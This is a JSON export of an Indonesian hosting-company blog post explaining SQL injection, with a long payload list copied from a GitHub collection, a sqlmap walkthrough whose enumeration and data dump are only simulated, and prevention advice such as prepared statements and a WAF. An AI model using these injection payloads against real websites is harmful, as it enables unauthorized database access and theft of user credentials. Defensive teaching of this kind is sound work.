{"id":77700,"date":"2025-06-23T10:41:15","date_gmt":"2025-06-23T03:41:15","guid":{"rendered":"https:\/\/www.wowrack.com\/?p=77700"},"modified":"2026-03-25T10:27:14","modified_gmt":"2026-03-25T03:27:14","slug":"sql-injection-adalah-ancaman-kenali-cara-mencegah","status":"publish","type":"post","link":"https:\/\/www.wowrack.com\/id-id\/blog\/security-id\/sql-injection-adalah-ancaman-kenali-cara-mencegah\/","title":{"rendered":"SQL Injection Adalah Ancaman: Kenali &amp; Cara Mencegah"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Semakin pesat perkembangan teknologi maka akan sebanding lurus dengan kejahatan siber, Setiap pemilik website harus waspada terhadap salah satu kejahatan siber yang paling ditakutkan yaitu <\/span><b>SQL Injection<\/b><span style=\"font-weight: 400\">.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400\">Tentu Anda pernah mendengar hacker terkenal bernama Bjorka, Karena dia membuat semua mata berfokus pada kejahatannya, oleh sebab itu jika website perusahaan Anda tidak dijaga dengan baik, datanya bisa dicuri oleh para kelompok yang tidak bertanggung jawab seperti Byorka.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400\">Perlu Anda ketahui, bahwa SQL Injection adalah salah satu celah yang bisa digunakan orang tidak bertanggung jawab untuk mencuri data website perusahaan.<\/span><\/p>\n<p><i><span style=\"font-weight: 400\">For your information<\/span><\/i><span style=\"font-weight: 400\"> bahwa <\/span><b>OWASP (Open Web Application Security Project)<\/b><span style=\"font-weight: 400\"> yang merupakan organisasi keamanan siber dunia bahkan menempatkan serangan SQL Injection di posisi ketiga sebagai ancaman paling berisiko untuk website.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400\">Maka dari itu, sebagai pemilik website maupun pemilik bisnis harus paham apa itu <strong>SQL Injection<\/strong> selanjutnya bagaimana cara kerja dan cara mencegahnya.<\/span><\/p>\n<h2 id=\"apa-itu-sql-injection\"><strong>Apa itu SQL Injection<\/strong><\/h2>\n<p>SQL Injection adalah bentuk celah keamanan (<a href=\"https:\/\/www.wowrack.com\/id-id\/blog\/security-id\/apa-itu-vulnerability-assessment\/\"><i>vulnerability<\/i><\/a>) paling berbahaya pada website. Serangan ini bisa dengan mudah terjadi jika peretas memasukan kode SQL (Structured Query Language) ke dalam input database yang tidak difilter dengan baik.<\/p>\n<p><strong>Contoh kode : https:\/\/namawebsite.com\/index.php?name=123\u2019<\/strong><\/p>\n<p><span style=\"font-weight: 400\">Kode ini jika dijalankan di url, maka akan terjadi error pada database seperti muncul kode error :\u00a0<\/span><\/p>\n<p><b>\u201cYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \u2018\u2018VALUE\u2019\u2019.<\/b><\/p>\n<p><b>\u201cYou have an error in your SQL syntax\u201d<\/b><\/p>\n<p><b>\u201cUnclosed quotation mark\u201d<\/b><b><br \/>\n<\/b><\/p>\n<p><b>\u201cSQLSTATE[HY000]\u201d<\/b><\/p>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-77705 lazyload\" data-src=\"https:\/\/b3549173.smushcdn.com\/3549173\/wp-content\/uploads\/2025\/06\/sumber-geeks-for-geeks-SQL-Injection.jpg?lossy=1&strip=1&avif=1\" alt=\"SQL Injection adalah\" width=\"1000\" height=\"500\" data-srcset=\"https:\/\/b3549173.smushcdn.com\/3549173\/wp-content\/uploads\/2025\/06\/sumber-geeks-for-geeks-SQL-Injection.jpg?lossy=1&strip=1&avif=1 1000w, https:\/\/b3549173.smushcdn.com\/3549173\/wp-content\/uploads\/2025\/06\/sumber-geeks-for-geeks-SQL-Injection-300x150.jpg?lossy=1&strip=1&avif=1 300w, https:\/\/b3549173.smushcdn.com\/3549173\/wp-content\/uploads\/2025\/06\/sumber-geeks-for-geeks-SQL-Injection-768x384.jpg?lossy=1&strip=1&avif=1 768w, https:\/\/b3549173.smushcdn.com\/3549173\/wp-content\/uploads\/2025\/06\/sumber-geeks-for-geeks-SQL-Injection.jpg?size=228x114&lossy=1&strip=1&avif=1 228w, https:\/\/b3549173.smushcdn.com\/3549173\/wp-content\/uploads\/2025\/06\/sumber-geeks-for-geeks-SQL-Injection.jpg?size=456x228&lossy=1&strip=1&avif=1 456w, https:\/\/b3549173.smushcdn.com\/3549173\/wp-content\/uploads\/2025\/06\/sumber-geeks-for-geeks-SQL-Injection.jpg?size=684x342&lossy=1&strip=1&avif=1 684w, https:\/\/b3549173.smushcdn.com\/3549173\/wp-content\/uploads\/2025\/06\/sumber-geeks-for-geeks-SQL-Injection.jpg?size=912x456&lossy=1&strip=1&avif=1 912w\" data-sizes=\"auto\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 1000px; --smush-placeholder-aspect-ratio: 1000\/500;\" data-original-sizes=\"(max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>sumber geeks for geeks<\/p>\n<p><span style=\"font-weight: 400\">Jika ini terjadi, maka peretas bisa mengakses database yang berisi username dan password untuk login ke website Anda.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Cara menggunakan SQLi ini menggunakan celah coding database yang buruk, penyerang bisa melakukan SQLi hanya dengan satu input sederhana seperti menggunakan \u2018 pada akhir query database.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400\">Serangan SQL injection banyak dilakukan oleh cracker, berbeda dari hacker yang tujuannya membobol sistem guna memberitahu pemilik website jika ada celah keamanan, namun bagi cracker kebocoran ini akan di manfaatkan untuk tujuan ilegal.\u00a0<\/span><\/p>\n<h2 id=\"sql-injection-payloads\"><strong>SQL Injection Payloads<\/strong><\/h2>\n<p><b>SQL Injection Payload<\/b><span style=\"font-weight: 400\"> merupakan sekumpulan sintaks sederhana yang dibuat untuk mengeksploitasi kelemahan database. SQLi Payload bekerja dengan cara menyisipkan potongan kode ke dalam input url website yang sedang mengambil data dari database. Jika website Anda bocor, sintaks ini akan dijalankan database dan menghasilkan error.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Jika error, maka melalui URL tersebut, penyerang bisa mendapatkan celah lalu mencuri isi dari database.<\/span><\/p>\n<p><strong>Sintaks SQLi payload sangat sederhana, antara lain<\/strong><\/p>\n<p><span style=\"font-weight: 400\">'<\/span><\/p>\n<p><span style=\"font-weight: 400\">''<\/span><\/p>\n<p><span style=\"font-weight: 400\">`<\/span><\/p>\n<p><span style=\"font-weight: 400\">``<\/span><\/p>\n<p><span style=\"font-weight: 400\">,<\/span><\/p>\n<p><span style=\"font-weight: 400\">\"<\/span><\/p>\n<p><span style=\"font-weight: 400\">\"\"<\/span><\/p>\n<p><span style=\"font-weight: 400\">\/<\/span><\/p>\n<p><span style=\"font-weight: 400\">\/\/<\/span><\/p>\n<p><span style=\"font-weight: 400\">\\<\/span><\/p>\n<p><span style=\"font-weight: 400\">\\\\<\/span><\/p>\n<p><span style=\"font-weight: 400\">;<\/span><\/p>\n<p><span style=\"font-weight: 400\">' or \"<\/span><\/p>\n<p><span style=\"font-weight: 400\">-- or #\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400\">' OR '1<\/span><\/p>\n<p><span style=\"font-weight: 400\">' OR 1 -- -<\/span><\/p>\n<p><span style=\"font-weight: 400\">\" OR \"\" = \"<\/span><\/p>\n<p><span style=\"font-weight: 400\">\" OR 1 = 1 -- -<\/span><\/p>\n<p><span style=\"font-weight: 400\">' OR '' = '<\/span><\/p>\n<p><span style=\"font-weight: 400\">'='<\/span><\/p>\n<p><span style=\"font-weight: 400\">'LIKE'<\/span><\/p>\n<p><span style=\"font-weight: 400\">'=0--+<\/span><\/p>\n<p><span style=\"font-weight: 400\">\u00a0OR 1=1<\/span><\/p>\n<p><span style=\"font-weight: 400\">' OR 'x'='x<\/span><\/p>\n<p><span style=\"font-weight: 400\">' AND id IS NULL; --<\/span><\/p>\n<p><span style=\"font-weight: 400\">'''''''''''''UNION SELECT '2<\/span><\/p>\n<p><span style=\"font-weight: 400\">%00<\/span><\/p>\n<p><span style=\"font-weight: 400\">\/*\u2026*\/\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400\">+<\/span> <span style=\"font-weight: 400\">addition, concatenate (or space in url)<\/span><\/p>\n<p><span style=\"font-weight: 400\">||<\/span> <span style=\"font-weight: 400\">(double pipe) concatenate<\/span><\/p>\n<p><span style=\"font-weight: 400\">%<\/span> <span style=\"font-weight: 400\">wildcard attribute indicator<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">@variable<\/span> <span style=\"font-weight: 400\">local variable<\/span><\/p>\n<p><span style=\"font-weight: 400\">@@variable<\/span> <span style=\"font-weight: 400\">global variable<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\"># Numeric<\/span><\/p>\n<p><span style=\"font-weight: 400\">AND 1<\/span><\/p>\n<p><span style=\"font-weight: 400\">AND 0<\/span><\/p>\n<p><span style=\"font-weight: 400\">AND true<\/span><\/p>\n<p><span style=\"font-weight: 400\">AND false<\/span><\/p>\n<p><span style=\"font-weight: 400\">1-false<\/span><\/p>\n<p><span style=\"font-weight: 400\">1-true<\/span><\/p>\n<p><span style=\"font-weight: 400\">1*56<\/span><\/p>\n<p><span style=\"font-weight: 400\">-2<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">1' ORDER BY 1--+<\/span><\/p>\n<p><span style=\"font-weight: 400\">1' ORDER BY 2--+<\/span><\/p>\n<p><span style=\"font-weight: 400\">1' ORDER BY 3--+<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">1' ORDER BY 1,2--+<\/span><\/p>\n<p><span style=\"font-weight: 400\">1' ORDER BY 1,2,3--+<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">1' GROUP BY 1,2,--+<\/span><\/p>\n<p><span style=\"font-weight: 400\">1' GROUP BY 1,2,3--+<\/span><\/p>\n<p><span style=\"font-weight: 400\">' GROUP BY columnnames having 1=1 --<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">-1' UNION SELECT 1,2,3--+<\/span><\/p>\n<p><span style=\"font-weight: 400\">' UNION SELECT sum(columnname ) from tablename --<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">-1 UNION SELECT 1 INTO @,@<\/span><\/p>\n<p><span style=\"font-weight: 400\">-1 UNION SELECT 1 INTO @,@,@<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">1 AND (SELECT * FROM Users) = 1<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">' AND MID(VERSION(),1,1) = '5';<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">' and 1 in (select min(name) from sysobjects where xtype = 'U' and name &gt; '.') --<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Finding the table name<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Time-Based:<\/span><\/p>\n<p><span style=\"font-weight: 400\">,(select * from (select(sleep(10)))a)<\/span><\/p>\n<p><span style=\"font-weight: 400\">%2c(select%20*%20from%20(select(sleep(10)))a)<\/span><\/p>\n<p><span style=\"font-weight: 400\">';WAITFOR DELAY '0:0:30'--<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Comments:<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">#<\/span> <span style=\"font-weight: 400\">\u00a0 \u00a0 Hash comment<\/span><\/p>\n<p><span style=\"font-weight: 400\">\/*\u00a0 <\/span> <span style=\"font-weight: 400\">C-style comment<\/span><\/p>\n<p><span style=\"font-weight: 400\">-- -<\/span> <span style=\"font-weight: 400\">SQL comment<\/span><\/p>\n<p><span style=\"font-weight: 400\">;%00<\/span> <span style=\"font-weight: 400\">Nullbyte<\/span><\/p>\n<p><span style=\"font-weight: 400\">`<\/span> <span style=\"font-weight: 400\">\u00a0 \u00a0 Backtick<\/span><\/p>\n<p><span style=\"font-weight: 400\">Sumber <a href=\"https:\/\/github.com\/payloadbox\/sql-injection-payload-list\" rel=\"nofollow noopener\" target=\"_blank\">github<\/a><\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 id=\"bahaya-dan-dampaknya\"><b>Bahaya dan Dampaknya<\/b><\/h3>\n<p><span style=\"font-weight: 400\">Jika payload dijalankan sukses, penyerang bisa mengakses dan mendapatkan hal hal dibawah ini<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Membaca data pengguna<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Mengubah isi dari database<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menghapus tabel atau semua isi dari database<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Mengeksploitasi server (privilege escalation)<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Mengambil akses website<\/span><\/li>\n<\/ol>\n<h2 id=\"cara-mencegah-dan-mengatasi\"><strong>Cara Mencegah dan Mengatasi<\/strong><\/h2>\n<p><span style=\"font-weight: 400\">Sebelum terjadinya kebocoran database, Anda bisa memitigasi website dengan cara\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\">Gunakan prepared statements (parameterized queries)<\/li>\n<li style=\"font-weight: 400\">Validasi dan filter input dari pengguna<\/li>\n<li style=\"font-weight: 400\">Batasi hak akses database (jangan gunakan root)<\/li>\n<li style=\"font-weight: 400\">Gunakan prepared statements (di PHP, Python, Node.js, dll).<\/li>\n<li style=\"font-weight: 400\">Hindari menyusun query dengan string concat dari input pengguna.<\/li>\n<li style=\"font-weight: 400\">Gunakan ORM (Object Relational Mapping) yang aman (contoh Laravel, Sequelize, Django).<\/li>\n<li style=\"font-weight: 400\"><a href=\"https:\/\/www.wowrack.com\/id-id\/security\/web-application-firewall\/\">Gunakan Web Application Firewall (WAF)<\/a><\/li>\n<\/ul>\n<h2 id=\"sql-injection-test\"><strong>SQL Injection Test<\/strong><\/h2>\n<p><span style=\"font-weight: 400\">Cara melakukan test SQL injection adalah saat Anda mengisi form login di sebuah website. Lalu form itu malah error karena Anda memasukan script yang sudah dijelaskan diatas, lalu website malah menunjukan beberapa kode error karena server menjalankan sintaks dari SQLi.<\/span><\/p>\n<h2 id=\"jenis-jenis-serangan\"><strong>Jenis-jenis Serangan<\/strong><\/h2>\n<p><span style=\"font-weight: 400\">Saat ini serangan SQLi tidak cuma satu jenis serangan saja, OWASP menjelaskan ada beberapa jenis teknik dari SQL injection, perbedaan ini dapat dilihat dari bagaimana cara cracker menyusup ke website. Berikut ini adalah jenis-jenis seranganya<\/span><\/p>\n<h3 id=\"1-inband-sql-injection\"><strong>1. Inband SQL Injection<\/strong><\/h3>\n<p><span style=\"font-weight: 400\">Serangan SQLi inband adalah jenis serangan yang paling sering digunakan, kenapa paling sering? sebab serangan ini adalah yang paling mudah dilakukan. Proses serangan ini adalah dengan error akan langsung muncul di halaman web. Contohnya adalah jika penyerang memasukkan kode SQL yang sudah dijelaskan diatas ke dalam kolom url, maka username login pengguna akan langsung terlihat di halaman website. Inband ini masih dipecah menjadi 2 jenis lagi<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><b>Error-based SQLi<\/b><span style=\"font-weight: 400\"> yaitu menggunakan tampilan error dari database untuk melakukan aksinya.<\/span><\/li>\n<li style=\"font-weight: 400\"><b>Union-based SQLi<\/b><span style=\"font-weight: 400\">, yaitu menggunakan sintaks dari SQL UNION untuk menggabungkan hasil dari sintaks lain.<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><\/li>\n<\/ul>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-77709 lazyload\" data-src=\"https:\/\/b3549173.smushcdn.com\/3549173\/wp-content\/uploads\/2025\/06\/pengertian-sql-injection.png?lossy=1&strip=1&avif=1\" alt=\"pengertian sql injection\" width=\"940\" height=\"529\" data-srcset=\"https:\/\/b3549173.smushcdn.com\/3549173\/wp-content\/uploads\/2025\/06\/pengertian-sql-injection.png?lossy=1&strip=1&avif=1 940w, https:\/\/b3549173.smushcdn.com\/3549173\/wp-content\/uploads\/2025\/06\/pengertian-sql-injection-300x169.png?lossy=1&strip=1&avif=1 300w, https:\/\/b3549173.smushcdn.com\/3549173\/wp-content\/uploads\/2025\/06\/pengertian-sql-injection-768x432.png?lossy=1&strip=1&avif=1 768w, https:\/\/b3549173.smushcdn.com\/3549173\/wp-content\/uploads\/2025\/06\/pengertian-sql-injection.png?size=228x128&lossy=1&strip=1&avif=1 228w, https:\/\/b3549173.smushcdn.com\/3549173\/wp-content\/uploads\/2025\/06\/pengertian-sql-injection.png?size=456x257&lossy=1&strip=1&avif=1 456w, https:\/\/b3549173.smushcdn.com\/3549173\/wp-content\/uploads\/2025\/06\/pengertian-sql-injection.png?size=684x385&lossy=1&strip=1&avif=1 684w\" data-sizes=\"auto\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 940px; --smush-placeholder-aspect-ratio: 940\/529;\" data-original-sizes=\"(max-width: 940px) 100vw, 940px\" \/><\/p>\n<h3 id=\"2-out-of-band-sql-injection\"><span style=\"font-weight: 400\">2. Out-of-Band SQL Injection<\/span><\/h3>\n<p><span style=\"font-weight: 400\">Dengan teknis out of band SQLi penyerang tidak melihat dari halaman website, akan tetapi\u00a0 langsung menggunakan URL. Serangan ini bisa dilakukan jika website sangat dibatasi. Banyak penyerang menggunakan cara ini meskipun cara ini lebih sulit dilakukan, karena harus mencari celah pada url yang memuat query database.<\/span><\/p>\n<h3 id=\"3-blind-sql-injection-inferential\"><span style=\"font-weight: 400\">3. Blind SQL Injection (Inferential)<\/span><\/h3>\n<p><span style=\"font-weight: 400\">Yang terakhir adalah blind SQLi, teknik ini tidak akan menampilkan data secara langsung di situs website. Penjahat bisa melakukan serangan ini dengan cara mendapatkan respons dari server, contohnya halaman error. Dari halaman yang error ketika memuat database pencuri bisa melakukan tindakan lanjutan dengan memasang tools atau alat untuk masuk ke website untuk mencuri database login.<\/span><\/p>\n<h2 id=\"belajar-dengan-sqlmap-di-kali-linux\"><strong>Belajar dengan sqlmap di Kali Linux<\/strong><\/h2>\n<p><span style=\"font-weight: 400\">SQL Injection (SQLi) dapat dilakukan dengan menggunakan tools SQLmap yang di install di sistem operasi kali linux.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400\">Anda akan mempelajari cara mengetahui dan mengeksploitasi SQL Injection dengan menggunakan alat otomatis bernama sqlmap.\u00a0<\/span><\/p>\n<p><b><em>Disclaimer<\/em> : Pengetahuan ini harus digunakan untuk kebaikan, atau untuk deteksi dini apakah ada celah keamanan pada website milik Anda atau tidak.<\/b><\/p>\n<p><span style=\"font-weight: 400\">Untuk melakukannya Anda tidak perlu konfigurasi tambahan karena terminal akan langsung terhubung ke shell kontainer. Langkah pertama adalah menyiapkan toolsnya, yaitu sqlmap.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400\">1.Untuk memastikan alat ini tersedia dan terbaru, jalankan perintah berikut di terminal<\/span><\/p>\n<p><span style=\"font-weight: 400\">apt update<\/span><\/p>\n<p><span style=\"font-weight: 400\">apt install -y sqlmap<\/span><\/p>\n<p><span style=\"font-weight: 400\">2. Proses ini akan mengunduh sqlmap jika belum tersedia. Setelah selesai, verifikasi versi sqlmap untuk memastikan bahwa instalasi berhasil<\/span><\/p>\n<p><span style=\"font-weight: 400\">sqlmap --version<\/span><\/p>\n<p><span style=\"font-weight: 400\">dan outputnya adalah<\/span><\/p>\n<p><span style=\"font-weight: 400\">sqlmap version 1.7.9<\/span><\/p>\n<p><span style=\"font-weight: 400\">3. Langkah berikutnya adalah mana saja URL yang bisa Anda diinjeksi. Misalnya, sebuah URL sederhana seperti:<\/span><\/p>\n<p><span style=\"font-weight: 400\">http:\/\/namawebsite.com\/page?id=1<\/span><\/p>\n<p><span style=\"font-weight: 400\">Jika website memiliki parameter id=1 pada URL nya, maka URL ini memiliki kerentanan terhadap serangan SQL Injection. Untuk menyimpan URL target ini dalam file, gunakan:<\/span><\/p>\n<p><span style=\"font-weight: 400\">echo \"http:\/\/example.com\/page?id=1\" &gt; \/root\/target_url.txt<\/span><\/p>\n<p><span style=\"font-weight: 400\">4. Cara memeriksa isi file tersebut:<\/span><\/p>\n<p><span style=\"font-weight: 400\">cat \/root\/target_url.txt<\/span><\/p>\n<p><span style=\"font-weight: 400\">5. Kemudian kita lanjut ke proses enumerasi database, yaitu mendeteksi nama-nama database yang tersedia di server target. Karena ini adalah hanya contoh, kita buat output tiruan menggunakan perintah:<\/span><\/p>\n<p><span style=\"font-weight: 400\">echo \"Simulating sqlmap database enumeration...\" &gt; \/root\/sqlmap_dbs.txt<\/span><\/p>\n<p><span style=\"font-weight: 400\">echo \"Available databases: [information_schema, test_db]\" &gt;&gt; \/root\/sqlmap_dbs.txt<\/span><\/p>\n<p><span style=\"font-weight: 400\">6. Lihat hasilnya dengan<\/span><\/p>\n<p><span style=\"font-weight: 400\">cat \/root\/sqlmap_dbs.txt<\/span><\/p>\n<p><span style=\"font-weight: 400\">7. Setelah database teridentifikasi, kita bisa lanjut untuk mencari tahu isi database tersebut, yaitu daftar tabel. Misalnya dalam database test_db, kita buat contoh daftar tabel seperti berikut<\/span><\/p>\n<p><span style=\"font-weight: 400\">echo \"Simulating sqlmap table enumeration for test_db...\" &gt; \/root\/sqlmap_tables.txt<\/span><\/p>\n<p><span style=\"font-weight: 400\">echo \"Tables in test_db: [users, orders, products]\" &gt;&gt; \/root\/sqlmap_tables.txt<\/span><\/p>\n<p><span style=\"font-weight: 400\">8. Periksa hasilnya<\/span><\/p>\n<p><span style=\"font-weight: 400\">cat \/root\/sqlmap_tables.txt<\/span><\/p>\n<p><span style=\"font-weight: 400\">9. Akhirnya, kita akan melakukan simulasi dump data dari tabel users untuk melihat isi sebenarnya:<\/span><\/p>\n<p><span style=\"font-weight: 400\">echo \"Simulating sqlmap data dump for users table...\" &gt; \/root\/sqlmap_users_data.txt<\/span><\/p>\n<p><span style=\"font-weight: 400\">echo \"Data in users table:\" &gt;&gt; \/root\/sqlmap_users_data.txt<\/span><\/p>\n<p><span style=\"font-weight: 400\">echo \"ID | Username | Password\" &gt;&gt; \/root\/sqlmap_users_data.txt<\/span><\/p>\n<p><span style=\"font-weight: 400\">echo \"1\u00a0 | admin\u00a0 \u00a0 | pass123\" &gt;&gt; \/root\/sqlmap_users_data.txt<\/span><\/p>\n<p><span style=\"font-weight: 400\">echo \"2\u00a0 | user1\u00a0 \u00a0 | test456\" &gt;&gt; \/root\/sqlmap_users_data.txt<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">10. Dan tampilkan isi datanya:<\/span><\/p>\n<p><span style=\"font-weight: 400\">cat \/root\/sqlmap_users_data.txt<\/span><\/p>\n<p><span style=\"font-weight: 400\">Cara diatas adalah contoh mensimulasikan tools sqlmap yang berfungsi untuk mencari informasi penting dari database, untuk itu Anda harus mengamankan situs website Anda dengan baik. <\/span><\/p>\n<p><span style=\"font-weight: 400\">Dengan tools ini, Anda bisa mengetahui cara eksploitasi hingga ekstraksi database dalam sebuah website. Sehingga bisa menjadi pelajaran penting bagi pemilik website agar websitenya tidak di serangan SQL injection.<\/span><\/p>\n<h2 id=\"cara-mencegah\">Cara Mencegah<\/h2>\n<p><span style=\"font-weight: 400\">Berikut ini adalah hal yang perlu dilakukan pemilik website agar terhindar dari ancaman serangan <\/span><b>SQL Injection, dalam praktiknya harus di uji coba ke website Anda agar bisa di aplikasikan.<\/b><\/p>\n<h3 id=\"1-gunakan-prepared-statements-parameterized-queries\"><span style=\"font-weight: 400\">1. Gunakan Prepared Statements (Parameterized Queries)<\/span><\/h3>\n<p><span style=\"font-weight: 400\">Cara ini adalah yang paling teruji untuk menghindari serangan, caranya sebagai berikut<\/span><\/p>\n<p><b>Contoh (PHP dengan PDO):<\/b><\/p>\n<p><span style=\"font-weight: 400\">php<\/span><\/p>\n<p><span style=\"font-weight: 400\">$stmt = $pdo-&gt;prepare(\"SELECT * FROM users WHERE username = :username\");<\/span><\/p>\n<p><span style=\"font-weight: 400\">$stmt-&gt;execute(['username' =&gt; $input]);<\/span><\/p>\n<p><span style=\"font-weight: 400\">Anda harus memisahkan nilai dari <\/span><span style=\"font-weight: 400\">$input<\/span><span style=\"font-weight: 400\"> agar tidak langsung digabung dalam query, tapi harus dipisahkan agar penyerang tidak bisa melihat.<\/span><\/p>\n<h3 id=\"2-hilangkan-karakter-berbahaya\"><span style=\"font-weight: 400\">2. Hilangkan karakter berbahaya<\/span><\/h3>\n<h3 id=\"contoh-php\"><b>Contoh (PHP):<\/b><\/h3>\n<p><span style=\"font-weight: 400\">php<\/span><\/p>\n<p><span style=\"font-weight: 400\">$username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);<\/span><\/p>\n<p><span style=\"font-weight: 400\">Meskipun Anda sudah memvalidasi namun tetap harus menggunakan parameter query, untuk mencegah situs Anda kecurian.<\/span><\/p>\n<h3 id=\"3-gunakan-orm-object-relational-mapping\"><span style=\"font-weight: 400\">3. Gunakan ORM (Object Relational Mapping)<\/span><\/h3>\n<p><span style=\"font-weight: 400\">Anda bisa gunakan ORM yang secara default menggunakan parameterized queries seperti<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Laravel Eloquent untuk PHP<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Sequelize untuk Node.js<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">SQLAlchemy untuk Python<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Hibernate untuk Java<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><\/li>\n<\/ul>\n<h3 id=\"4-batasi-akses-ke-database\"><span style=\"font-weight: 400\">4. Batasi Akses ke Database<\/span><\/h3>\n<p><span style=\"font-weight: 400\">Setting database dan buat akun database dengan hak minimal, lalu hindari menggunakan\u00a0 akun root atau admin untuk koneksi dari aplikasi. Contohnya adalah akun yang engakses hanya boleh SELECT, bukan DELETE atau DROP.<\/span><\/p>\n<h3 id=\"5-gunakan-next-generation-firewall\"><span style=\"font-weight: 400\">5. Gunakan Next generation firewall<\/span><\/h3>\n<p><span style=\"font-weight: 400\">Wowrack menyediakan <a href=\"https:\/\/www.wowrack.com\/id-id\/security\/next-generation-firewall\/\">layanan next gen firewall<\/a> untu melindungi website Anda dari serangan siber seperti SQL Injection dan ancaman OWASP Top 10 lainnya. Layanan WAF dari Wowrack akan bekerja secara real-time untuk memfilter traffic berbahaya sebelum mencapai server website.<\/span><\/p>\n<h3 id=\"6-jangan-buat-url-dari-input\"><span style=\"font-weight: 400\">6. Jangan Buat URL dari Input<\/span><\/h3>\n<p><span style=\"font-weight: 400\">Jangan membangun query SQL dari string yang diambil langsung dari input pengguna, karena akan menimbulkan celah untuk di inject SQL. <\/span><b>Contoh yang salah<\/b><\/p>\n<p><span style=\"font-weight: 400\">$query = \"SELECT * FROM users WHERE id = \" . $_GET['id'];\u00a0<\/span><\/p>\n<h2 id=\"kesimpulan\"><span style=\"font-weight: 400\">Kesimpulan<\/span><\/h2>\n<p><span style=\"font-weight: 400\">SQL Injection adalah ancaman nyata dan begitu serius jika berurusan dengan database, maka untuk menghadapinya Anda harus mengerti cara teknis validasi input, penggunaan prepared statement, pembatasan hak akses database dan yang terpenting untuk mengantisipasi hal yang tidak di inginkan sebaiknya menerapkan web application firewall (WAF).<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Semakin pesat perkembangan teknologi maka akan sebanding lurus dengan kejahatan siber, Setiap pemilik website harus waspada terhadap salah satu kejahatan siber yang paling ditakutkan yaitu SQL Injection.\u00a0 Tentu Anda pernah mendengar hacker terkenal bernama Bjorka, Karena dia membuat semua mata berfokus pada kejahatannya, oleh sebab itu jika website perusahaan Anda tidak dijaga dengan baik, datanya [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":77701,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"content-type":"","footnotes":""},"categories":[723],"tags":[],"class_list":["post-77700","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-security-id","post-wrapper"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.wowrack.com\/id-id\/wp-json\/wp\/v2\/posts\/77700","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wowrack.com\/id-id\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wowrack.com\/id-id\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wowrack.com\/id-id\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wowrack.com\/id-id\/wp-json\/wp\/v2\/comments?post=77700"}],"version-history":[{"count":6,"href":"https:\/\/www.wowrack.com\/id-id\/wp-json\/wp\/v2\/posts\/77700\/revisions"}],"predecessor-version":[{"id":86423,"href":"https:\/\/www.wowrack.com\/id-id\/wp-json\/wp\/v2\/posts\/77700\/revisions\/86423"}],"wp:featuredmedia":[{"embeddable":true,"href":"h